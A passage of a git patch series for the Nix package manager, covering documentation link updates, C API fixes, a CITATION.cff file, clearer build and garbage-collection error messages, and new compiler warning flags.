@@ -97,16 +103,24 @@ Args::Flag contentAddressMethod(ContentAddressMethod * method)
     return Args::Flag {
         .longName  = "mode",
         // FIXME indentation carefully made for context, this is messed up.
+        /* FIXME link to store object content-addressing not file system
+           object content addressing once we have that page. */
         .description = R"(
     How to compute the content-address of the store object.
     One of:
 
-    - `nar` (the default): Serialises the input as an archive (following the [_Nix Archive Format_](https://edolstra.github.io/pubs/phd-thesis.pdf#page=101)) and passes that to the hash function.
+    - `nar` (the default):
+      Serialises the input as a
+      [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive)
+      and passes that to the hash function.
 
-    - `flat`: Assumes that the input is a single file and directly passes it to the hash function;
+    - `flat`:
+      Assumes that the input is a single file and
+      [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat)
+      it to the hash function.
 
     - `text`: Like `flat`, but used for
-      [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and 
+      [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and
       [`builtins.toFile`](@docroot@/language/builtins.html#builtins-toFile).
       For advanced use-cases only;
       for regular usage prefer `nar` and `flat.
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 109127d1d56..1ad1e3fc0dc 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -4515,7 +4515,7 @@ void EvalState::createBaseEnv()
           1683705525
           ```
 
-          The [store path](@docroot@/glossary.md#gloss-store-path) of a derivation depending on `currentTime` will differ for each evaluation, unless both evaluate `builtins.currentTime` in the same second.
+          The [store path](@docroot@/store/store-path.md) of a derivation depending on `currentTime` will differ for each evaluation, unless both evaluate `builtins.currentTime` in the same second.
         )",
         .impureOnly = true,
     });
diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc
index e27f30512b8..fa462dc3348 100644
--- a/src/libexpr/primops/fetchTree.cc
+++ b/src/libexpr/primops/fetchTree.cc
@@ -200,8 +200,8 @@ static RegisterPrimOp primop_fetchTree({
     .doc = R"(
       Fetch a file system tree or a plain file using one of the supported backends and return an attribute set with:
 
-      - the resulting fixed-output [store path](@docroot@/glossary.md#gloss-store-path)
-      - the corresponding [NAR](@docroot@/glossary.md#gloss-nar) hash
+      - the resulting fixed-output [store path](@docroot@/store/store-path.md)
+      - the corresponding [NAR](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) hash
       - backend-specific metadata (currently not documented). <!-- TODO: document output attributes -->
 
       *input* must be an attribute set with the following attributes:
diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 10893342219..dc18a11fc3a 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -910,7 +910,7 @@ public:
         "substituters",
         R"(
           A list of [URLs of Nix stores](@docroot@/store/types/index.md#store-url-format) to be used as substituters, separated by whitespace.
-          A substituter is an additional [store](@docroot@/glossary.md#gloss-store) from which Nix can obtain [store objects](@docroot@/glossary.md#gloss-store-object) instead of building them.
+          A substituter is an additional [store](@docroot@/glossary.md#gloss-store) from which Nix can obtain [store objects](@docroot@/store/store-object.md) instead of building them.
 
           Substituters are tried based on their priority value, which each substituter can set independently.
           Lower value means higher priority.
diff --git a/src/libstore/path.hh b/src/libstore/path.hh
index 4ca6747b3b3..3c26fc515a5 100644
--- a/src/libstore/path.hh
+++ b/src/libstore/path.hh
@@ -13,7 +13,7 @@ struct Hash;
  * \ref StorePath "Store path" is the fundamental reference type of Nix.
  * A store paths refers to a Store object.
  *
- * See glossary.html#gloss-store-path for more information on a
+ * See store/store-path.html for more information on a
  * conceptual level.
  */
 class StorePath
diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh
index 145a8fb1f46..c19de27ed05 100644
--- a/src/libutil/file-content-address.hh
+++ b/src/libutil/file-content-address.hh
@@ -12,16 +12,28 @@ struct SourcePath;
 /**
  * An enumeration of the ways we can serialize file system
  * objects.
+ *
+ * See `file-system-object/content-address.md#serial` in the manual for
+ * a user-facing description of this concept, but note that this type is also
+ * used for storing or sending copies; not just for addressing.
+ * Note also that there are other content addressing methods that don't
+ * correspond to a serialisation method.
  */
 enum struct FileSerialisationMethod : uint8_t {
     /**
      * Flat-file. The contents of a single file exactly.
+     *
+     * See `file-system-object/content-address.md#serial-flat` in the
+     * manual.
      */
     Flat,
 
     /**
      * Nix Archive. Serializes the file-system object in
      * Nix Archive format.
+     *
+     * See `file-system-object/content-address.md#serial-nix-archive` in
+     * the manual.
      */
     Recursive,
 };
@@ -81,33 +93,32 @@ HashResult hashPath(
 /**
  * An enumeration of the ways we can ingest file system
  * objects, producing a hash or digest.
+ *
+ * See `file-system-object/content-address.md` in the manual for a
+ * user-facing description of this concept.
  */
 enum struct FileIngestionMethod : uint8_t {
     /**
      * Hash `FileSerialisationMethod::Flat` serialisation.
+     *
+     * See `file-system-object/content-address.md#serial-flat` in the
+     * manual.
      */
     Flat,
 
     /**
-     * Hash `FileSerialisationMethod::Git` serialisation.
+     * Hash `FileSerialisationMethod::Recursive` serialisation.
+     *
+     * See `file-system-object/content-address.md#serial-flat` in the
+     * manual.
      */
     Recursive,
 
     /**
-     * Git hashing. In particular files are hashed as git "blobs", and
-     * directories are hashed as git "trees".
-     *
-     * Unlike `Flat` and `Recursive`, this is not a hash of a single
-     * serialisation but a [Merkle
-     * DAG](https://en.wikipedia.org/wiki/Merkle_tree) of multiple
-     * rounds of serialisation and hashing.
+     * Git hashing.
      *
-     * @note Git's data model is slightly different, in that a plain
-     * file doesn't have an executable bit, directory entries do
-     * instead. We decide treat a bare file as non-executable by fiat,
-     * as we do with `FileIngestionMethod::Flat` which also lacks this
-     * information. Thus, Git can encode some but all of Nix's "File
-     * System Objects", and this sort of hashing is likewise partial.
+     * See `file-system-object/content-address.md#serial-git` in the
+     * manual.
      */
     Git,
 };
diff --git a/src/nix/derivation-show.md b/src/nix/derivation-show.md
index 2437ea08f41..9fff58ef97a 100644
--- a/src/nix/derivation-show.md
+++ b/src/nix/derivation-show.md
@@ -50,7 +50,7 @@ By default, this command only shows top-level derivations, but with
 
 `nix derivation show` outputs a JSON map of [store path]s to derivations in the following format:
 
-[store path]: @docroot@/glossary.md#gloss-store-path
+[store path]: @docroot@/store/store-path.md
 
 {{#include ../../protocols/json/derivation.md}}
 
diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc
index 8afcbe98282..de77a7b6b91 100644
--- a/src/nix/unix/daemon.cc
+++ b/src/nix/unix/daemon.cc
@@ -58,7 +58,7 @@ struct AuthorizationSettings : Config {
         this, {"root"}, "trusted-users",
         R"(
           A list of user names, separated by whitespace.
-          These users will have additional rights when connecting to the Nix daemon, such as the ability to specify additional [substituters](#conf-substituters), or to import unsigned [NARs](@docroot@/glossary.md#gloss-nar).
+          These users will have additional rights when connecting to the Nix daemon, such as the ability to specify additional [substituters](#conf-substituters), or to import unsigned realisations or unsigned input-addressed store objects.
 
           You can also specify groups by prefixing names with `@`.
           For instance, `@wheel` means all users in the `wheel` group.

From d50ce2df14138fc22e8528a37e5460e2f397420b Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 15 May 2024 01:14:06 +0200
Subject: [PATCH 141/528] make a more relevant example for `nix-store --export`

given `nix-copy-closure` exists, it doesn't make much sense to do

    nix-store --export $paths | nix-store --import --store ssh://foo@bar

since that dumps everything rather than granularly transferring store
objects as needed.

therefore, pick an example where dumping the entire closure into a file
actually makes a difference, such as when deploying to airgapped systems.
---
 .../src/command-ref/nix-store/export.md       | 30 +++++++++++--------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md
index 1bc46f53b50..4f6dd5ffa65 100644
--- a/doc/manual/src/command-ref/nix-store/export.md
+++ b/doc/manual/src/command-ref/nix-store/export.md
@@ -27,15 +27,21 @@ Nix store, the import will fail.
 
 # Examples
 
-To copy a whole closure, do something
-like:
-
-```console
-$ nix-store --export $(nix-store --query --requisites paths) > out
-```
-
-To import the whole closure again, run:
-
-```console
-$ nix-store --import < out
-```
+> **Example**
+>
+> Deploy GNU Hello to an airgapped machine via USB stick.
+>
+> Write the closure to the block device on a machine with internet connection:
+>
+> ```shell-session
+> [alice@itchy]$ storePath=$(nix-build '<nixpkgs>' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)
+> [alice@itchy]$ nix-store --export $(nix-store --query --requisites $storePath) | sudo dd of=/dev/usb
+> ```
+>
+> Read the closure from the block device on the machine without internet connection:
+>
+> ```shell-session
+> [bob@scratchy]$ hello=$(sudo dd if=/dev/usb | nix-store --import | tail -1)
+> [bob@scratchy]$ $hello/bin/hello
+> Hello, world!
+> ```

From 449404531db5fd18a43456bd45517dbf91ec3197 Mon Sep 17 00:00:00 2001
From: Philipp Zander <philipp.zander@tweag.io>
Date: Thu, 16 May 2024 00:39:39 +0200
Subject: [PATCH 142/528] fix "Embedding the Nix Evaluator" c api example

---
 doc/external-api/README.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doc/external-api/README.md b/doc/external-api/README.md
index 167c021994e..d3581d207dd 100644
--- a/doc/external-api/README.md
+++ b/doc/external-api/README.md
@@ -46,9 +46,9 @@ Nix expression `builtins.nixVersion`.
 // NOTE: This example lacks all error handling. Production code must check for
 // errors, as some return values will be undefined.
 
-void my_get_string_cb(const char * start, unsigned int n, char ** user_data)
+void my_get_string_cb(const char * start, unsigned int n, void * user_data)
 {
-    *user_data = strdup(start);
+    *((char **) user_data) = strdup(start);
 }
 
 int main()
@@ -63,7 +63,7 @@ int main()
     nix_value_force(NULL, state, value);
 
     char * version;
-    nix_get_string(NULL, value, my_get_string_cb, version);
+    nix_get_string(NULL, value, my_get_string_cb, &version);
     printf("Nix version: %s\n", version);
 
     free(version);

From 359043ed0db8ba55284a62b370dc44157a4fe723 Mon Sep 17 00:00:00 2001
From: Philipp Zander <philipp.zander@tweag.io>
Date: Tue, 30 Apr 2024 18:11:01 +0200
Subject: [PATCH 143/528] add missing c api parameter names to documentation

---
 src/libexpr-c/nix_api_external.h | 4 ++--
 src/libstore-c/nix_api_store.h   | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/libexpr-c/nix_api_external.h b/src/libexpr-c/nix_api_external.h
index 12ea004074c..a52346da95c 100644
--- a/src/libexpr-c/nix_api_external.h
+++ b/src/libexpr-c/nix_api_external.h
@@ -136,7 +136,7 @@ typedef struct NixCExternalValueDesc
      * or setting it to the empty string, will make the conversion throw an error.
      */
     void (*printValueAsJSON)(
-        void * self, EvalState *, bool strict, nix_string_context * c, bool copyToStore, nix_string_return * res);
+        void * self, EvalState * state, bool strict, nix_string_context * c, bool copyToStore, nix_string_return * res);
     /**
      * @brief Convert the external value to XML
      *
@@ -155,7 +155,7 @@ typedef struct NixCExternalValueDesc
      */
     void (*printValueAsXML)(
         void * self,
-        EvalState *,
+        EvalState * state,
         int strict,
         int location,
         void * doc,
diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h
index 209f91f0dc6..baa53ef0913 100644
--- a/src/libstore-c/nix_api_store.h
+++ b/src/libstore-c/nix_api_store.h
@@ -63,7 +63,7 @@ nix_err nix_init_plugins(nix_c_context * context);
  * @return a Store pointer, NULL in case of errors
  * @see nix_store_free
  */
-Store * nix_store_open(nix_c_context *, const char * uri, const char *** params);
+Store * nix_store_open(nix_c_context * context, const char * uri, const char *** params);
 
 /**
  * @brief Deallocate a nix store and free any resources if not also held by other Store instances.

From f63292462c5cfd89d718c71a2a345bc0413a3de8 Mon Sep 17 00:00:00 2001
From: Philipp Zander <philipp.zander@tweag.io>
Date: Tue, 30 Apr 2024 18:13:52 +0200
Subject: [PATCH 144/528] document `nix_external_print`'s `printer` parameter
 to be an out parameter

---
 src/libexpr-c/nix_api_external.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libexpr-c/nix_api_external.h b/src/libexpr-c/nix_api_external.h
index a52346da95c..6c524b9755d 100644
--- a/src/libexpr-c/nix_api_external.h
+++ b/src/libexpr-c/nix_api_external.h
@@ -48,7 +48,7 @@ void nix_set_string_return(nix_string_return * str, const char * c);
  * Print to the nix_printer
  *
  * @param[out] context Optional, stores error information
- * @param printer The nix_printer to print to
+ * @param[out] printer The nix_printer to print to
  * @param[in] str The string to print
  * @returns NIX_OK if everything worked
  */

From c66796d4604ba97cb6a7f63286ffd38d223936ac Mon Sep 17 00:00:00 2001
From: fidgetingbits <fidgetingbits@users.noreply.github.com>
Date: Fri, 17 May 2024 08:38:57 +0800
Subject: [PATCH 145/528] fix typo in testing documentation

---
 doc/manual/src/contributing/testing.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md
index 607914ba3e8..88b3c5cd98c 100644
--- a/doc/manual/src/contributing/testing.md
+++ b/doc/manual/src/contributing/testing.md
@@ -60,7 +60,7 @@ The unit tests are defined using the [googletest] and [rapidcheck] frameworks.
 > ```
 
 The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `tests/unit/${library_name_without-nix}`.
-Given a interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `tests/unit/libexpr/tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `tests/unit/libexpr-support/tests/value/context.{hh,cc}`.
+Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `tests/unit/libexpr/tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `tests/unit/libexpr-support/tests/value/context.{hh,cc}`.
 
 Data for unit tests is stored in a `data` subdir of the directory for each unit test executable.
 For example, `libnixstore` code is in `src/libstore`, and its test data is in `tests/unit/libstore/data`.

From a2cb90caba0d3e428bfb778f059e6ea866565ba9 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Fri, 17 May 2024 17:26:09 +0200
Subject: [PATCH 146/528] chore: add `CITATION.cff` file

---
 CITATION.cff | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)
 create mode 100644 CITATION.cff

diff --git a/CITATION.cff b/CITATION.cff
new file mode 100644
index 00000000000..c3366101a33
--- /dev/null
+++ b/CITATION.cff
@@ -0,0 +1,31 @@
+# This CITATION.cff file was generated with cffinit.
+# Visit https://bit.ly/cffinit to generate yours today!
+
+cff-version: 1.2.0
+title: Nix
+message: >-
+  If you use this software, please cite it using the
+  metadata from this file.
+type: software
+authors:
+  - given-names: Eelco
+    family-names: Dolstra
+    email: edolstra@gmail.com
+  - name: The Nix contributors
+    website: 'https://github.com/NixOS/nix'
+identifiers:
+  - type: url
+    value: 'https://edolstra.github.io/pubs/phd-thesis.pdf'
+    description: PHD Thesis
+repository-code: 'https://github.com/NixOS/nix'
+url: 'https://nixos.org/'
+abstract: >-
+  Nix, a purely functional package manager, is a powerful
+  package manager for Linux and other Unix systems that
+  makes package management reliable and reproducible.
+keywords:
+  - reproducibility
+  - open-source
+  - c++
+  - functional
+license: LGPL-2.1

From 979a019014569eee7d0071605f6ff500b544f6ac Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Fri, 17 May 2024 18:18:38 +0200
Subject: [PATCH 147/528] Improve nix-store --delete failure message

On several occasions I've found myself confused when trying to delete
a store path, because I am told it's still alive, but
nix-store --query --roots doesn't show anything.  Let's save future
users this confusion by mentioning that a path might be alive due to
having referrers, not just roots.
---
 src/libstore/gc.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc
index 8286dff271d..d3fa88f5963 100644
--- a/src/libstore/gc.cc
+++ b/src/libstore/gc.cc
@@ -781,7 +781,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
                 throw Error(
                     "Cannot delete path '%1%' since it is still alive. "
                     "To find out why, use: "
-                    "nix-store --query --roots",
+                    "nix-store --query --roots and nix-store --query --referrers",
                     printStorePath(i));
         }
 

From 19720d733fb8c8a34f05ccf83cc4b67bf8ed4fe1 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Mon, 13 May 2024 20:58:54 +0200
Subject: [PATCH 148/528] nix3-build: show all FOD errors with `--keep-going`
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Basically I'd expect the same behavior as with `nix-build`, i.e.
with `--keep-going` the hash-mismatch error of each failing
fixed-output derivation is shown.

The approach is derived from `Store::buildPaths` (`entry-point.cc`):
instead of throwing the first build-result, check if there are any build
errors and if so, display all of them and throw after that.

Unfortunately, the BuildResult struct doesn't have an `ErrorInfo`
(there's a FIXME for that at least), so I have to construct my own here.
This is a rather cheap bugfix and I decided against touching too many
parts of libstore for that (also I don't know if that's in line with the
ongoing refactoring work).

Closes https://git.lix.systems/lix-project/lix/issues/302

Change-Id: I378ab984fa271e6808c6897c45e0f070eb4c6fac
Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
---
 doc/manual/rl-next/consistent-nix-build.md |  6 ++++
 src/libcmd/installables.cc                 | 38 ++++++++++++++++++---
 tests/functional/build.sh                  | 32 ++++++++++++++++++
 tests/functional/fod-failing.nix           | 39 ++++++++++++++++++++++
 4 files changed, 111 insertions(+), 4 deletions(-)
 create mode 100644 doc/manual/rl-next/consistent-nix-build.md
 create mode 100644 tests/functional/fod-failing.nix

diff --git a/doc/manual/rl-next/consistent-nix-build.md b/doc/manual/rl-next/consistent-nix-build.md
new file mode 100644
index 00000000000..d5929dc8e99
--- /dev/null
+++ b/doc/manual/rl-next/consistent-nix-build.md
@@ -0,0 +1,6 @@
+---
+synopsis: Show all FOD errors with `nix build --keep-going`
+---
+
+`nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means
+that if e.g. multiple FODs fail to build, all hash mismatches are displayed.
diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc
index 43e312540ee..6835c512c1c 100644
--- a/src/libcmd/installables.cc
+++ b/src/libcmd/installables.cc
@@ -601,6 +601,37 @@ std::vector<BuiltPathWithResult> Installable::build(
     return res;
 }
 
+static void throwBuildErrors(
+    std::vector<KeyedBuildResult> & buildResults,
+    const Store & store)
+{
+    std::vector<KeyedBuildResult> failed;
+    for (auto & buildResult : buildResults) {
+        if (!buildResult.success()) {
+            failed.push_back(buildResult);
+        }
+    }
+
+    auto failedResult = failed.begin();
+    if (failedResult != failed.end()) {
+        if (failed.size() == 1) {
+            failedResult->rethrow();
+        } else {
+            StringSet failedPaths;
+            for (; failedResult != failed.end(); failedResult++) {
+                if (!failedResult->errorMsg.empty()) {
+                    logError(ErrorInfo{
+                        .level = lvlError,
+                        .msg = failedResult->errorMsg,
+                    });
+                }
+                failedPaths.insert(failedResult->path.to_string(store));
+            }
+            throw Error("build of %s failed", concatStringsSep(", ", quoteStrings(failedPaths)));
+        }
+    }
+}
+
 std::vector<std::pair<ref<Installable>, BuiltPathWithResult>> Installable::build2(
     ref<Store> evalStore,
     ref<Store> store,
@@ -662,10 +693,9 @@ std::vector<std::pair<ref<Installable>, BuiltPathWithResult>> Installable::build
         if (settings.printMissing)
             printMissing(store, pathsToBuild, lvlInfo);
 
-        for (auto & buildResult : store->buildPathsWithResults(pathsToBuild, bMode, evalStore)) {
-            if (!buildResult.success())
-                buildResult.rethrow();
-
+        auto buildResults = store->buildPathsWithResults(pathsToBuild, bMode, evalStore);
+        throwBuildErrors(buildResults, *store);
+        for (auto & buildResult : buildResults) {
             for (auto & aux : backmap[buildResult.path]) {
                 std::visit(overloaded {
                     [&](const DerivedPath::Built & bfd) {
diff --git a/tests/functional/build.sh b/tests/functional/build.sh
index 7fbdb0f0749..95a20dc6ab6 100644
--- a/tests/functional/build.sh
+++ b/tests/functional/build.sh
@@ -133,3 +133,35 @@ nix build --impure -f multiple-outputs.nix --json e --no-link | jq --exit-status
 # Make sure that `--stdin` works and does not apply any defaults
 printf "" | nix build --no-link --stdin --json | jq --exit-status '. == []'
 printf "%s\n" "$drv^*" | nix build --no-link --stdin --json | jq --exit-status '.[0]|has("drvPath")'
+
+# --keep-going and FOD
+out="$(nix build -f fod-failing.nix -L 2>&1)" && status=0 || status=$?
+test "$status" = 1
+# one "hash mismatch" error, one "build of ... failed"
+test "$(<<<"$out" grep -E '^error:' | wc -l)" = 2
+<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x1\\.drv'"
+<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'"
+<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
+<<<"$out" grepQuiet -E "error: build of '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out' failed"
+
+out="$(nix build -f fod-failing.nix -L x1 x2 x3 --keep-going 2>&1)" && status=0 || status=$?
+test "$status" = 1
+# three "hash mismatch" errors - for each failing fod, one "build of ... failed"
+test "$(<<<"$out" grep -E '^error:' | wc -l)" = 4
+<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x1\\.drv'"
+<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x3\\.drv'"
+<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
+<<<"$out" grepQuiet -E "error: build of '.*-x[1-3]\\.drv\\^out', '.*-x[1-3]\\.drv\\^out', '.*-x[1-3]\\.drv\\^out' failed"
+
+out="$(nix build -f fod-failing.nix -L x4 2>&1)" && status=0 || status=$?
+test "$status" = 1
+test "$(<<<"$out" grep -E '^error:' | wc -l)" = 2
+<<<"$out" grepQuiet -E "error: 1 dependencies of derivation '.*-x4\\.drv' failed to build"
+<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
+
+out="$(nix build -f fod-failing.nix -L x4 --keep-going 2>&1)" && status=0 || status=$?
+test "$status" = 1
+test "$(<<<"$out" grep -E '^error:' | wc -l)" = 3
+<<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build"
+<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'"
+<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
diff --git a/tests/functional/fod-failing.nix b/tests/functional/fod-failing.nix
new file mode 100644
index 00000000000..37c04fe12f8
--- /dev/null
+++ b/tests/functional/fod-failing.nix
@@ -0,0 +1,39 @@
+with import ./config.nix;
+rec {
+  x1 = mkDerivation {
+    name = "x1";
+    builder = builtins.toFile "builder.sh"
+      ''
+        echo $name > $out
+      '';
+    outputHashMode = "recursive";
+    outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
+  };
+  x2 = mkDerivation {
+    name = "x2";
+    builder = builtins.toFile "builder.sh"
+      ''
+        echo $name > $out
+      '';
+    outputHashMode = "recursive";
+    outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
+  };
+  x3 = mkDerivation {
+    name = "x3";
+    builder = builtins.toFile "builder.sh"
+      ''
+        echo $name > $out
+      '';
+    outputHashMode = "recursive";
+    outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
+  };
+  x4 = mkDerivation {
+    name = "x4";
+    inherit x2 x3;
+    builder = builtins.toFile "builder.sh"
+      ''
+        echo $x2 $x3
+        exit 1
+      '';
+  };
+}

From 52a16b7e5981fbb3e1b8eac8404b17350b2623c0 Mon Sep 17 00:00:00 2001
From: Qyriad <qyriad@qyriad.me>
Date: Wed, 8 May 2024 18:50:03 -0600
Subject: [PATCH 149/528] add and fix -Wdeprecated-copy
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

*so* many warnings, from only two definitions

Change-Id: If2561cd500c05a1e33cce984faf9f3e42a8a95ac
Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
---
 Makefile           | 2 +-
 src/libutil/fmt.hh | 2 ++
 src/libutil/ref.hh | 2 ++
 3 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/Makefile b/Makefile
index ea0754fa5a2..cb6eeb57376 100644
--- a/Makefile
+++ b/Makefile
@@ -98,7 +98,7 @@ ifdef HOST_WINDOWS
   GLOBAL_LDFLAGS += -Wl,--export-all-symbols
 endif
 
-GLOBAL_CXXFLAGS += -g -Wall -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src
+GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src
 
 # Include the main lib, causing rules to be defined
 
diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh
index c178257d416..ef44a8409fc 100644
--- a/src/libutil/fmt.hh
+++ b/src/libutil/fmt.hh
@@ -182,6 +182,8 @@ public:
         return *this;
     }
 
+    HintFmt & operator=(HintFmt const & rhs) = default;
+
     std::string str() const
     {
         return fmt.str();
diff --git a/src/libutil/ref.hh b/src/libutil/ref.hh
index 5d0c3696dbd..03aa642739c 100644
--- a/src/libutil/ref.hh
+++ b/src/libutil/ref.hh
@@ -77,6 +77,8 @@ public:
         return ref<T2>((std::shared_ptr<T2>) p);
     }
 
+    ref<T> & operator=(ref<T> const & rhs) = default;
+
     bool operator == (const ref<T> & other) const
     {
         return p == other.p;

From 05bc889b893c7c37994a3c7d869e222994bcdc73 Mon Sep 17 00:00:00 2001
From: Qyriad <qyriad@qyriad.me>
Date: Thu, 9 May 2024 07:00:51 -0600
Subject: [PATCH 150/528] add and fix -Wignored-qualifiers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Change-Id: I4bffa766ae04dd80355f9b8c10e59700e4b406da
Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
---
 Makefile                   | 2 +-
 src/libfetchers/tarball.cc | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Makefile b/Makefile
index cb6eeb57376..6c96ef5db89 100644
--- a/Makefile
+++ b/Makefile
@@ -98,7 +98,7 @@ ifdef HOST_WINDOWS
   GLOBAL_LDFLAGS += -Wl,--export-all-symbols
 endif
 
-GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src
+GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src
 
 # Include the main lib, causing rules to be defined
 
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index d03ff82cedd..5de3670525c 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -202,7 +202,7 @@ struct CurlInputScheme : InputScheme
 {
     const std::set<std::string> transportUrlSchemes = {"file", "http", "https"};
 
-    const bool hasTarballExtension(std::string_view path) const
+    bool hasTarballExtension(std::string_view path) const
     {
         return hasSuffix(path, ".zip") || hasSuffix(path, ".tar")
             || hasSuffix(path, ".tgz") || hasSuffix(path, ".tar.gz")

From a5de384cffe5bedb0a83361242de9a6480a1e6c0 Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Sat, 18 May 2024 19:47:18 +0200
Subject: [PATCH 151/528] chore: PhD thesis as reference in `CITATION.cff`

---
 CITATION.cff | 25 ++++++++++++++++++-------
 1 file changed, 18 insertions(+), 7 deletions(-)

diff --git a/CITATION.cff b/CITATION.cff
index c3366101a33..0105fb82307 100644
--- a/CITATION.cff
+++ b/CITATION.cff
@@ -1,6 +1,3 @@
-# This CITATION.cff file was generated with cffinit.
-# Visit https://bit.ly/cffinit to generate yours today!
-
 cff-version: 1.2.0
 title: Nix
 message: >-
@@ -13,10 +10,24 @@ authors:
     email: edolstra@gmail.com
   - name: The Nix contributors
     website: 'https://github.com/NixOS/nix'
-identifiers:
-  - type: url
-    value: 'https://edolstra.github.io/pubs/phd-thesis.pdf'
-    description: PHD Thesis
+references:
+  - title: The Purely Functional Software Deployment Model
+    authors:
+    - family-names: Dolstra
+      given-names: Eelco
+    year: 2006
+    type: thesis
+    thesis-type: PhD thesis
+    isbn: 90-393-4130-3
+    url: https://dspace.library.uu.nl/handle/1874/7540
+    database-provider: Utrecht University Repository
+    institution:
+      name: Utrecht University
+    keywords:
+    - configuration management
+    - software deployment
+    - purely functional
+    - component-based software engineering
 repository-code: 'https://github.com/NixOS/nix'
 url: 'https://nixos.org/'
 abstract: >-

From 53f0c44d6c4cacd0444c9f0d72e97eb2a76251f6 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Sat, 18 May 2024 16:05:14 -0700
Subject: [PATCH 152/528] Implement `updateWindowSize` for Windows

---
 src/libutil/terminal.cc | 15 +++++++++++++--
 src/libutil/terminal.hh |  4 ----
 2 files changed, 13 insertions(+), 6 deletions(-)

diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc
index 4dc280f8c04..5d5ff7dcb63 100644
--- a/src/libutil/terminal.cc
+++ b/src/libutil/terminal.cc
@@ -4,6 +4,8 @@
 
 #if _WIN32
 # include <io.h>
+# define WIN32_LEAN_AND_MEAN
+# include <windows.h>
 # define isatty _isatty
 #else
 # include <sys/ioctl.h>
